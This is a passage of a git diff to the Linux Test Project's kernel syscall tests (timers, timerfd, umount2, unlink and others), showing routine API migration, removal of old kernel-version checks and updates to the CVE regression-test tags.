*/ - if (!have_cputime_timers()) - continue; - } if (clock == CLOCK_MONOTONIC_RAW) continue; diff --git a/testcases/kernel/syscalls/timer_delete/timer_delete01.c b/testcases/kernel/syscalls/timer_delete/timer_delete01.c index 6e5fc994..bdc2e44c 100755 --- a/testcases/kernel/syscalls/timer_delete/timer_delete01.c +++ b/testcases/kernel/syscalls/timer_delete/timer_delete01.c @@ -30,12 +30,6 @@ static void run(void) for (i = 0; i < CLOCKS_DEFINED; ++i) { clock_t clock = clock_list[i]; - if (clock == CLOCK_PROCESS_CPUTIME_ID || - clock == CLOCK_THREAD_CPUTIME_ID) { - if (!have_cputime_timers()) - continue; - } - tst_res(TINFO, "Testing %s", get_clock_str(clock)); TEST(tst_syscall(__NR_timer_create, clock, NULL, &timer_id)); diff --git a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c index ec558841..aa9881f2 100755 --- a/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c +++ b/testcases/kernel/syscalls/timer_getoverrun/timer_getoverrun01.c @@ -57,7 +57,7 @@ int main(int ac, char **av) ev.sigev_value = (union sigval) 0; ev.sigev_signo = SIGALRM; ev.sigev_notify = SIGEV_SIGNAL; - TEST(ltp_syscall(__NR_timer_create, CLOCK_REALTIME, &ev, &timer)); + TEST(tst_syscall(__NR_timer_create, CLOCK_REALTIME, &ev, &timer)); if (TEST_RETURN != 0) tst_brkm(TBROK | TTERRNO, cleanup, "Failed to create timer"); @@ -65,7 +65,7 @@ int main(int ac, char **av) for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; - TEST(ltp_syscall(__NR_timer_getoverrun, timer)); + TEST(tst_syscall(__NR_timer_getoverrun, timer)); if (TEST_RETURN == 0) { tst_resm(TPASS, "timer_getoverrun(CLOCK_REALTIME) Passed"); @@ -74,7 +74,7 @@ int main(int ac, char **av) "timer_getoverrun(CLOCK_REALTIME) Failed"); } - TEST(ltp_syscall(__NR_timer_getoverrun, -1)); + TEST(tst_syscall(__NR_timer_getoverrun, -1)); if (TEST_RETURN == -1 && TEST_ERRNO == EINVAL) { tst_resm(TPASS, "timer_gettime(-1) Failed: EINVAL"); } else { diff --git a/testcases/kernel/syscalls/timer_settime/timer_settime01.c b/testcases/kernel/syscalls/timer_settime/timer_settime01.c index 599ef289..5aee8b38 100755 --- a/testcases/kernel/syscalls/timer_settime/timer_settime01.c +++ b/testcases/kernel/syscalls/timer_settime/timer_settime01.c @@ -98,12 +98,6 @@ static void run(unsigned int n) for (i = 0; i < CLOCKS_DEFINED; ++i) { clock_t clock = clock_list[i]; - if (clock == CLOCK_PROCESS_CPUTIME_ID || - clock == CLOCK_THREAD_CPUTIME_ID) { - if (!have_cputime_timers()) - continue; - } - TEST(tst_syscall(__NR_timer_create, clock, NULL, &timer)); if (TST_RET != 0) { if (possibly_unsupported(clock) && diff --git a/testcases/kernel/syscalls/timer_settime/timer_settime02.c b/testcases/kernel/syscalls/timer_settime/timer_settime02.c index 564f1c2c..3309a81a 100755 --- a/testcases/kernel/syscalls/timer_settime/timer_settime02.c +++ b/testcases/kernel/syscalls/timer_settime/timer_settime02.c @@ -87,12 +87,6 @@ static void run(unsigned int n) for (i = 0; i < CLOCKS_DEFINED; ++i) { clock_t clock = clock_list[i]; - if (clock == CLOCK_PROCESS_CPUTIME_ID || - clock == CLOCK_THREAD_CPUTIME_ID) { - if (!have_cputime_timers()) - continue; - } - /* Init temporary timer */ TEST(tst_syscall(__NR_timer_create, clock, NULL, &timer)); if (TST_RET != 0) { diff --git a/testcases/kernel/syscalls/timer_settime/timer_settime03.c b/testcases/kernel/syscalls/timer_settime/timer_settime03.c index 4597bf74..a828f63d 100755 --- a/testcases/kernel/syscalls/timer_settime/timer_settime03.c +++ b/testcases/kernel/syscalls/timer_settime/timer_settime03.c @@ -32,6 +32,8 @@ static timer_t timer; static volatile int handler_called, overrun, saved_errno; +static struct timespec realtime_resolution; + static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { struct itimerspec spec; @@ -61,6 +63,11 @@ static void setup(void) SAFE_SIGNAL(SIGUSR1, sighandler); SAFE_TIMER_CREATE(CLOCK_REALTIME, &sev, &timer); + + SAFE_CLOCK_GETRES(CLOCK_REALTIME, &realtime_resolution); + + tst_res(TINFO, "CLOCK_REALTIME resolution %lins", + (long)realtime_resolution.tv_nsec); } static void run(void) @@ -81,9 +88,9 @@ static void run(void) /* spec.it_value = now - 1.4 * max overrun value */ /* IOW, overflow will land right in the middle of negative range */ - spec.it_value.tv_sec -= handler_delay / 100000000; + spec.it_value.tv_sec -= (handler_delay / 100000000) * realtime_resolution.tv_nsec; spec.it_value.tv_nsec -= nsec; - spec.it_interval.tv_nsec = 1; + spec.it_interval.tv_nsec = realtime_resolution.tv_nsec; SAFE_TIMER_SETTIME(timer, TIMER_ABSTIME, &spec, NULL); while (!handler_called); @@ -115,10 +122,6 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, - .needs_kconfigs = (const char *[]) { - "CONFIG_HIGH_RES_TIMERS=y", - NULL - }, .tags = (const struct tst_tag[]) { {"linux-git", "78c9c4dfbf8c"}, {"CVE", "2018-12896"}, diff --git a/testcases/kernel/syscalls/timerfd/timerfd01.c b/testcases/kernel/syscalls/timerfd/timerfd01.c index 9f569421..4461c4fd 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd01.c +++ b/testcases/kernel/syscalls/timerfd/timerfd01.c @@ -158,5 +158,4 @@ static struct tst_test test = { .tcnt = ARRAY_SIZE(tcases), .test_variants = ARRAY_SIZE(variants), .setup = setup, - .min_kver = "2.6.25", }; diff --git a/testcases/kernel/syscalls/timerfd/timerfd02.c b/testcases/kernel/syscalls/timerfd/timerfd02.c index 88742b80..936cdbc5 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd02.c +++ b/testcases/kernel/syscalls/timerfd/timerfd02.c @@ -127,17 +127,12 @@ int main(int argc, char *argv[]) int lc; tst_parse_opts(argc, argv, NULL, NULL); - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, - NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } setup(); for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { - fd = ltp_syscall(__NR_timerfd_create, + fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME, 0); if (fd == -1) { tst_brkm(TFAIL, cleanup, @@ -154,7 +149,7 @@ int main(int argc, char *argv[]) } close(fd); - fd = ltp_syscall(__NR_timerfd_create, CLOCK_REALTIME, + fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME, TFD_CLOEXEC); if (fd == -1) { tst_brkm(TFAIL, diff --git a/testcases/kernel/syscalls/timerfd/timerfd03.c b/testcases/kernel/syscalls/timerfd/timerfd03.c index 41aa9463..89dec325 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd03.c +++ b/testcases/kernel/syscalls/timerfd/timerfd03.c @@ -123,17 +123,12 @@ int main(int argc, char *argv[]) int lc; tst_parse_opts(argc, argv, NULL, NULL); - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, - NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } setup(); for (lc = 0; TEST_LOOPING(lc); ++lc) { tst_count = 0; for (testno = 0; testno < TST_TOTAL; ++testno) { - fd = ltp_syscall(__NR_timerfd_create, + fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME, 0); if (fd == -1) { tst_brkm(TFAIL, cleanup, @@ -150,7 +145,7 @@ int main(int argc, char *argv[]) } close(fd); - fd = ltp_syscall(__NR_timerfd_create, CLOCK_REALTIME, + fd = tst_syscall(__NR_timerfd_create, CLOCK_REALTIME, TFD_NONBLOCK); if (fd == -1) { tst_brkm(TFAIL, diff --git a/testcases/kernel/syscalls/timerfd/timerfd04.c b/testcases/kernel/syscalls/timerfd/timerfd04.c index 4af91d6f..b24b4874 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd04.c +++ b/testcases/kernel/syscalls/timerfd/timerfd04.c @@ -19,7 +19,7 @@ #include "tst_safe_clocks.h" #include "tst_safe_timerfd.h" #include "tst_timer.h" -#include "lapi/namespaces_constants.h" +#include "lapi/sched.h" #define SLEEP_US 40000 @@ -94,9 +94,9 @@ static void verify_timerfd(unsigned int n) SAFE_WAIT(NULL); - if (tv->clock_gettime(CLOCK_MONOTONIC, tst_ts_get(&end))) { + if (tv->clock_gettime(tc->clk_id, tst_ts_get(&end))) { tst_res(TFAIL | TERRNO, "clock_gettime(2) failed for clock %s", - tst_clock_name(CLOCK_MONOTONIC)); + tst_clock_name(tc->clk_id)); return; } diff --git a/testcases/kernel/syscalls/timerfd/timerfd_create01.c b/testcases/kernel/syscalls/timerfd/timerfd_create01.c index b9fe3895..18a23358 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd_create01.c +++ b/testcases/kernel/syscalls/timerfd/timerfd_create01.c @@ -1,98 +1,40 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2014 Fujitsu Ltd. - * Author: Zeng Linggang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Zeng Linggang + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* - * DESCRIPTION - * Verify that, - * 1. The clockid argument is neither CLOCK_MONOTONIC nor CLOCK_REALTIME, - * EINVAL would return. - * 2. flags is invalid, EINVAL would return. +/*\ + * [Description] + * + * This test verifies that: + * - clockid argument is neither CLOCK_MONOTONIC nor CLOCK_REALTIME, + * EINVAL would return. + * - flags is invalid, EINVAL would return. */ -#define _GNU_SOURCE - #include -#include "test.h" -#include "lapi/timerfd.h" - -char *TCID = "timerfd_create01"; +#include "tst_test.h" +#include "tst_safe_timerfd.h" static struct test_case_t { int clockid; int flags; int exp_errno; -} test_cases[] = { - {-1, 0, EINVAL}, - {0, -1, EINVAL}, +} tcases[] = { + { -1, 0, EINVAL }, + { 0, -1, EINVAL }, }; -int TST_TOTAL = ARRAY_SIZE(test_cases); -static void setup(void); -static void timerfd_create_verify(const struct test_case_t *); -static void cleanup(void); - -int main(int argc, char *argv[]) -{ - int lc; - int i; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - timerfd_create_verify(&test_cases[i]); - } - - cleanup(); - tst_exit(); -} - -static void setup(void) -{ - if ((tst_kvercmp(2, 6, 25)) < 0) - tst_brkm(TCONF, NULL, "This test needs kernel 2.6.25 or newer"); - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; -} - -static void timerfd_create_verify(const struct test_case_t *test) +static void run(unsigned int i) { - TEST(timerfd_create(test->clockid, test->flags)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "timerfd_create() succeeded unexpectedly"); - return; - } + struct test_case_t *test = &tcases[i]; - if (TEST_ERRNO == test->exp_errno) { - tst_resm(TPASS | TTERRNO, - "timerfd_create() failed as expected"); - } else { - tst_resm(TFAIL | TTERRNO, - "timerfd_create() failed unexpectedly; expected: " - "%d - %s", test->exp_errno, strerror(test->exp_errno)); - } + TST_EXP_FAIL(timerfd_create(test->clockid, test->flags), test->exp_errno); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(tcases), +}; diff --git a/testcases/kernel/syscalls/timerfd/timerfd_gettime01.c b/testcases/kernel/syscalls/timerfd/timerfd_gettime01.c index aba77c05..8dd31f9f 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd_gettime01.c +++ b/testcases/kernel/syscalls/timerfd/timerfd_gettime01.c @@ -101,5 +101,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_tmpdir = 1, - .min_kver = "2.6.25", }; diff --git a/testcases/kernel/syscalls/timerfd/timerfd_settime01.c b/testcases/kernel/syscalls/timerfd/timerfd_settime01.c index 36577e2c..7ebcaf4b 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd_settime01.c +++ b/testcases/kernel/syscalls/timerfd/timerfd_settime01.c @@ -108,5 +108,4 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_tmpdir = 1, - .min_kver = "2.6.25", }; diff --git a/testcases/kernel/syscalls/timerfd/timerfd_settime02.c b/testcases/kernel/syscalls/timerfd/timerfd_settime02.c index bd92ee96..33d9f7b4 100755 --- a/testcases/kernel/syscalls/timerfd/timerfd_settime02.c +++ b/testcases/kernel/syscalls/timerfd/timerfd_settime02.c @@ -110,8 +110,8 @@ static struct tst_test test = { .test_variants = ARRAY_SIZE(variants), .setup = setup, .cleanup = cleanup, - .min_kver = "2.6.25", .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, .tags = (const struct tst_tag[]) { {"linux-git", "1e38da300e1e"}, {"CVE", "2017-10661"}, diff --git a/testcases/kernel/syscalls/times/times03.c b/testcases/kernel/syscalls/times/times03.c index c73fc0e8..2712392c 100755 --- a/testcases/kernel/syscalls/times/times03.c +++ b/testcases/kernel/syscalls/times/times03.c @@ -62,7 +62,7 @@ static void generate_stime(void) /* * At least some CPU time must be used in system space. This is * achieved by executing the times(2) call for - * atleast 2 secs. This logic makes it independant + * at least 2 secs. This logic makes it independent * of the processor speed. */ start_time = time(NULL); diff --git a/testcases/kernel/syscalls/tkill/tkill01.c b/testcases/kernel/syscalls/tkill/tkill01.c index edce2b0b..15f2dfb3 100755 --- a/testcases/kernel/syscalls/tkill/tkill01.c +++ b/testcases/kernel/syscalls/tkill/tkill01.c @@ -17,8 +17,8 @@ #include -#include "lapi/syscalls.h" #include "tst_test.h" +#include "lapi/syscalls.h" static volatile sig_atomic_t sig_flag; diff --git a/testcases/kernel/syscalls/tkill/tkill02.c b/testcases/kernel/syscalls/tkill/tkill02.c index 63fa664e..6cd60923 100755 --- a/testcases/kernel/syscalls/tkill/tkill02.c +++ b/testcases/kernel/syscalls/tkill/tkill02.c @@ -20,10 +20,9 @@ #include #include #include -#include -#include "lapi/syscalls.h" #include "tst_test.h" +#include "lapi/syscalls.h" static pid_t unused_tid; static pid_t inval_tid = -1; diff --git a/testcases/kernel/syscalls/truncate/truncate03.c b/testcases/kernel/syscalls/truncate/truncate03.c index a9cd4b3e..2607e7d6 100755 --- a/testcases/kernel/syscalls/truncate/truncate03.c +++ b/testcases/kernel/syscalls/truncate/truncate03.c @@ -1,5 +1,6 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2001-2022 * Copyright (c) International Business Machines Corp., 2001 * 07/2001 John George */ @@ -116,25 +117,7 @@ static void verify_truncate(unsigned int n) { struct test_case_t *tc = &test_cases[n]; - TEST(truncate(tc->pathname, tc->length)); - if (TST_RET == 0) { - tst_res(TFAIL, "truncate() succeeded when failure expected"); - return; - } - - if (TST_RET != -1) { - tst_res(TFAIL, "truncate() returned invalid value %ld", - TST_RET); - return; - } - - if (TST_ERR == tc->exp_errno) { - tst_res(TPASS | TTERRNO, "truncate() failed as expected"); - } else { - tst_res(TFAIL | TTERRNO, - "truncate() failed unexpectedly; expected: %d - %s", - tc->exp_errno, strerror(tc->exp_errno)); - } + TST_EXP_FAIL(truncate(tc->pathname, tc->length), tc->exp_errno); } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/umount2/.gitignore b/testcases/kernel/syscalls/umount2/.gitignore index 1d6a0e88..e2056bfa 100755 --- a/testcases/kernel/syscalls/umount2/.gitignore +++ b/testcases/kernel/syscalls/umount2/.gitignore @@ -1,3 +1,2 @@ /umount2_01 /umount2_02 -/umount2_03 diff --git a/testcases/kernel/syscalls/umount2/umount2_01.c b/testcases/kernel/syscalls/umount2/umount2_01.c index 46a6d59c..5696270d 100755 --- a/testcases/kernel/syscalls/umount2/umount2_01.c +++ b/testcases/kernel/syscalls/umount2/umount2_01.c @@ -23,7 +23,6 @@ */ #include -#include #include "test.h" #include "safe_macros.h" @@ -118,7 +117,7 @@ static void umount2_verify(void) * check the old fd still points to the file * in previous mount point and is available */ - SAFE_WRITE(cleanup, 1, fd, str, strlen(str)); + SAFE_WRITE(cleanup, SAFE_WRITE_ALL, fd, str, strlen(str)); SAFE_CLOSE(cleanup, fd); diff --git a/testcases/kernel/syscalls/umount2/umount2_02.c b/testcases/kernel/syscalls/umount2/umount2_02.c index 7d558fa1..f4b228f9 100755 --- a/testcases/kernel/syscalls/umount2/umount2_02.c +++ b/testcases/kernel/syscalls/umount2/umount2_02.c @@ -1,182 +1,119 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2015 Fujitsu Ltd. + * Copyright (c) 2015-2022 FUJITSU LIMITED. All rights reserved * Author: Guangwen Feng + */ + +/*\ + * [Description] * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. + * Test for feature MNT_EXPIRE of umount2(): * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * - EINVAL when flag is specified with either MNT_FORCE or MNT_DETACH + * - EAGAIN when initial call to umount2(2) with MNT_EXPIRE + * - EAGAIN when umount2(2) with MNT_EXPIRE after access(2) + * - succeed when second call to umount2(2) with MNT_EXPIRE * - * You should have received a copy of the GNU General Public License - * alone with this program. - */ - -/* - * DESCRIPTION - * Test for feature MNT_EXPIRE of umount2(). - * "Mark the mount point as expired.If a mount point is not currently - * in use, then an initial call to umount2() with this flag fails with - * the error EAGAIN, but marks the mount point as expired. The mount - * point remains expired as long as it isn't accessed by any process. - * A second umount2() call specifying MNT_EXPIRE unmounts an expired - * mount point. This flag cannot be specified with either MNT_FORCE or - * MNT_DETACH. (fails with the error EINVAL)" + * Test for feature UMOUNT_NOFOLLOW of umount2(): + * + * - EINVAL when target is a symbolic link + * - succeed when target is a mount point */ -#include -#include - -#include "test.h" -#include "safe_macros.h" #include "lapi/mount.h" +#include "tst_test.h" -#include "umount2.h" - -#define DIR_MODE (S_IRWXU | S_IRWXG | S_IROTH | S_IXOTH) -#define MNTPOINT "mntpoint" +#define MNTPOINT "mntpoint" +#define SYMLINK "symlink" -static void setup(void); -static void test_umount2(int i); -static void verify_failure(int i); -static void verify_success(int i); -static void cleanup(void); +#define FLAG_DESC(x, y) .flag = x, .exp_errno = 0, \ + .desc = "umount2("y") with "#x" expected success" -static const char *device; -static const char *fs_type; +#define FLAG_EXP_ERRNO_DESC(x, y, z) .flag = x, .exp_errno = y, \ + .desc = "umount2("z") with "#x" expected "#y static int mount_flag; -static struct test_case_t { +static struct tcase { int flag; int exp_errno; - int do_access; const char *desc; -} test_cases[] = { - {MNT_EXPIRE | MNT_FORCE, EINVAL, 0, - "umount2(2) with MNT_EXPIRE | MNT_FORCE expected EINVAL"}, - {MNT_EXPIRE | MNT_DETACH, EINVAL, 0, - "umount2(2) with MNT_EXPIRE | MNT_DETACH expected EINVAL"}, - {MNT_EXPIRE, EAGAIN, 0, - "initial call to umount2(2) with MNT_EXPIRE expected EAGAIN"}, - {MNT_EXPIRE, EAGAIN, 1, - "umount2(2) with MNT_EXPIRE after access(2) expected EAGAIN"}, - {MNT_EXPIRE, 0, 0, - "second call to umount2(2) with MNT_EXPIRE expected success"}, + const char *mntpoint; + int do_access; +} tcases[] = { + {FLAG_EXP_ERRNO_DESC(MNT_EXPIRE | MNT_FORCE, EINVAL, ""), MNTPOINT, 0}, + {FLAG_EXP_ERRNO_DESC(MNT_EXPIRE | MNT_DETACH, EINVAL, ""), MNTPOINT, 0}, + {FLAG_EXP_ERRNO_DESC(MNT_EXPIRE, EAGAIN, "initial call"), MNTPOINT, 0}, + {FLAG_EXP_ERRNO_DESC(MNT_EXPIRE, EAGAIN, "after access"), MNTPOINT, 1}, + {FLAG_DESC(MNT_EXPIRE, "second call"), MNTPOINT, 0}, + {FLAG_EXP_ERRNO_DESC(UMOUNT_NOFOLLOW, EINVAL, "symlink"), SYMLINK, 0}, + {FLAG_DESC(UMOUNT_NOFOLLOW, "mntpoint"), MNTPOINT, 0}, }; -char *TCID = "umount2_02"; -int TST_TOTAL = ARRAY_SIZE(test_cases); - -int main(int ac, char **av) +static int umount2_retry(const char *target, int flags) { - int lc; - int tc; + int i, ret; - tst_parse_opts(ac, av, NULL, NULL); + for (i = 0; i < 50; i++) { + ret = umount2(target, flags); + if (ret == 0 || errno != EBUSY) + return ret; - setup(); + tst_res(TINFO, "umount('%s', %i) failed with EBUSY, try %2i...", + target, flags, i); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL); - mount_flag = 1; - - for (tc = 0; tc < TST_TOTAL; tc++) - test_umount2(tc); - - if (mount_flag) { - if (tst_umount(MNTPOINT)) - tst_brkm(TBROK, cleanup, "umount() failed"); - mount_flag = 0; - } + usleep(100000); } - cleanup(); - tst_exit(); + tst_res(TWARN, "Failed to umount('%s', %i) after 50 retries", + target, flags); + + errno = EBUSY; + return -1; } -static void setup(void) +static void test_umount2(unsigned int n) { - tst_require_root(); + struct tcase *tc = &tcases[n]; - if ((tst_kvercmp(2, 6, 8)) < 0) { - tst_brkm(TCONF, NULL, "This test can only run on kernels " - "that are 2.6.8 or higher"); + if (!mount_flag) { + SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL); + mount_flag = 1; } - tst_sig(NOFORK, DEF_HANDLER, NULL); - - tst_tmpdir(); - - fs_type = tst_dev_fs_type(); - device = tst_acquire_device(cleanup); - - if (!device) - tst_brkm(TCONF, cleanup, "Failed to obtain block device"); + tst_res(TINFO, "Testing %s", tc->desc); - tst_mkfs(cleanup, device, fs_type, NULL, NULL); + if (tc->do_access) + SAFE_ACCESS(MNTPOINT, F_OK); - SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE); - - TEST_PAUSE; -} - -static void test_umount2(int i) -{ - /* a new access removes the expired mark of the mount point */ - if (test_cases[i].do_access) { - if (access(MNTPOINT, F_OK) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "access(2) failed"); - } - - TEST(umount2_retry(MNTPOINT, test_cases[i].flag)); - - if (test_cases[i].exp_errno != 0) - verify_failure(i); + if (tc->exp_errno) + TST_EXP_FAIL(umount2_retry(tc->mntpoint, tc->flag), tc->exp_errno, + "umount2_retry(%s, %d)", tc->mntpoint, tc->flag); else - verify_success(i); -} + TST_EXP_PASS(umount2_retry(tc->mntpoint, tc->flag), + "umount2_retry(%s, %d)", tc->mntpoint, tc->flag); -static void verify_failure(int i) -{ - if (TEST_RETURN == 0) { - tst_resm(TFAIL, "%s passed unexpectedly", test_cases[i].desc); + if (!!tc->exp_errno ^ !!TST_PASS) mount_flag = 0; - return; - } - - if (TEST_ERRNO != test_cases[i].exp_errno) { - tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly", - test_cases[i].desc); - return; - } - - tst_resm(TPASS | TTERRNO, "umount2(2) failed as expected"); } -static void verify_success(int i) +static void setup(void) { - if (TEST_RETURN != 0) { - tst_resm(TFAIL | TTERRNO, "%s failed unexpectedly", - test_cases[i].desc); - return; - } - - tst_resm(TPASS, "umount2(2) succeeded as expected"); - mount_flag = 0; + SAFE_SYMLINK(MNTPOINT, SYMLINK); } static void cleanup(void) { - if (mount_flag && tst_umount(MNTPOINT)) - tst_resm(TWARN | TERRNO, "Failed to unmount"); - - if (device) - tst_release_device(device); - - tst_rmdir(); + if (mount_flag) + SAFE_UMOUNT(MNTPOINT); } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .cleanup = cleanup, + .setup = setup, + .needs_root = 1, + .format_device = 1, + .mntpoint = MNTPOINT, + .test = test_umount2, +}; diff --git a/testcases/kernel/syscalls/uname/uname04.c b/testcases/kernel/syscalls/uname/uname04.c index 2d0851c8..885368c2 100755 --- a/testcases/kernel/syscalls/uname/uname04.c +++ b/testcases/kernel/syscalls/uname/uname04.c @@ -79,4 +79,8 @@ static void run(unsigned int test_nr) static struct tst_test test = { .test = run, .tcnt = 2, + .tags = (const struct tst_tag[]) { + {"CVE", "2012-0957"}, + {} + } }; diff --git a/testcases/kernel/syscalls/unlink/unlink07.c b/testcases/kernel/syscalls/unlink/unlink07.c index 869bd5f5..b7bbd8d1 100755 --- a/testcases/kernel/syscalls/unlink/unlink07.c +++ b/testcases/kernel/syscalls/unlink/unlink07.c @@ -1,23 +1,27 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. + * Copyright (c) Linux Test Project, 2002-2022 */ -/* - * Description: - * The testcase checks the various errnos of the unlink(2). - * 1) unlink() returns ENOENT if file doesn't exist. - * 2) unlink() returns ENOENT if path is empty. - * 3) unlink() returns ENOENT if path contains a non-existent file. - * 4) unlink() returns EFAULT if address is invalid. - * 5) unlink() returns ENOTDIR if path contains a regular file. - * 6) unlink() returns ENAMETOOLONG if path contains a regular file. +/*\ + * [Description] + * + * Verify that unlink(2) fails with + * + * - ENOENT when file does not exist + * - ENOENT when pathname is empty + * - ENOENT when a component in pathname does not exist + * - EFAULT when pathname points outside the accessible address space + * - ENOTDIR when a component used as a directory in pathname is not, + * in fact, a directory + * - ENAMETOOLONG when pathname is too long */ #include +#include #include #include -#include /* for PATH_MAX */ #include "tst_test.h" static char longpathname[PATH_MAX + 2]; @@ -39,26 +43,12 @@ static void verify_unlink(unsigned int n) { struct test_case_t *tc = &tcases[n]; - TEST(unlink(tc->name)); - if (TST_RET != -1) { - tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly", - tc->desc); - return; - } - - if (TST_ERR == tc->exp_errno) { - tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected", - tc->desc); - } else { - tst_res(TFAIL | TTERRNO, - "unlink(<%s>) failed, expected errno: %s", - tc->desc, tst_strerrno(tc->exp_errno)); - } + TST_EXP_FAIL(unlink(tc->name), tc->exp_errno, "%s", tc->desc); } static void setup(void) { - unsigned int n; + size_t n; SAFE_TOUCH("file", 0777, NULL); diff --git a/testcases/kernel/syscalls/unlink/unlink08.c b/testcases/kernel/syscalls/unlink/unlink08.c index f3ce46ad..1fe6e89f 100755 --- a/testcases/kernel/syscalls/unlink/unlink08.c +++ b/testcases/kernel/syscalls/unlink/unlink08.c @@ -1,23 +1,24 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2002-2022 * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. */ -/* - * Description: - * The testcase checks the various errnos of the unlink(2). - * 1) unlink() returns EACCES when deleting file in unwritable directory - * as an unprivileged user. - * 2) unlink() returns EACCES when deleting file in "unsearchable directory - * as an unprivileged user. - * 3) unlink() returns EISDIR when deleting directory for root - * 4) unlink() returns EISDIR when deleting directory for regular user +/*\ + * [Description] + * + * Verify that unlink(2) fails with + * + * - EACCES when no write access to the directory containing pathname + * - EACCES when one of the directories in pathname did not allow search + * - EISDIR when deleting directory as root user + * - EISDIR when deleting directory as non-root user */ #include -#include -#include #include +#include +#include #include "tst_test.h" static struct passwd *pw; @@ -36,21 +37,7 @@ static struct test_case_t { static void verify_unlink(struct test_case_t *tc) { - TEST(unlink(tc->name)); - if (TST_RET != -1) { - tst_res(TFAIL, "unlink(<%s>) succeeded unexpectedly", - tc->desc); - return; - } - - if (TST_ERR == tc->exp_errno) { - tst_res(TPASS | TTERRNO, "unlink(<%s>) failed as expected", - tc->desc); - } else { - tst_res(TFAIL | TTERRNO, - "unlink(<%s>) failed, expected errno: %s", - tc->desc, tst_strerrno(tc->exp_errno)); - } + TST_EXP_FAIL(unlink(tc->name), tc->exp_errno, "%s", tc->desc); } static void do_unlink(unsigned int n) @@ -65,7 +52,6 @@ static void do_unlink(unsigned int n) verify_unlink(cases); exit(0); } - SAFE_WAITPID(pid, NULL, 0); } else { verify_unlink(cases); diff --git a/testcases/kernel/syscalls/unlinkat/unlinkat01.c b/testcases/kernel/syscalls/unlinkat/unlinkat01.c index 9e9a5d7d..7dba1d64 100755 --- a/testcases/kernel/syscalls/unlinkat/unlinkat01.c +++ b/testcases/kernel/syscalls/unlinkat/unlinkat01.c @@ -52,13 +52,15 @@ static struct tcase { static void run(unsigned int i) { + int fd3 = -1; + /* tesfile2 will be unlinked by test0. */ if (access(testfile2, F_OK)) SAFE_FILE_PRINTF(testfile2, testfile2); /* testfile3 will be unlined by test1. */ if (access(testfile3, F_OK)) - SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600); + fd3 = SAFE_OPEN(testfile3, O_CREAT | O_RDWR, 0600); /* subpathdir will be unlinked by test6. */ if (access(subpathdir, F_OK)) @@ -80,6 +82,9 @@ static void run(unsigned int i) if (!tc[i].fd) SAFE_CLOSE(fd); + + if (fd3 > 0) + SAFE_CLOSE(fd3); } static void setup(void) @@ -102,7 +107,6 @@ static void cleanup(void) static struct tst_test test = { .needs_tmpdir = 1, .tcnt = ARRAY_SIZE(tc), - .min_kver = "2.6.16", .setup = setup, .test = run, .cleanup = cleanup, diff --git a/testcases/kernel/syscalls/unshare/unshare02.c b/testcases/kernel/syscalls/unshare/unshare02.c index 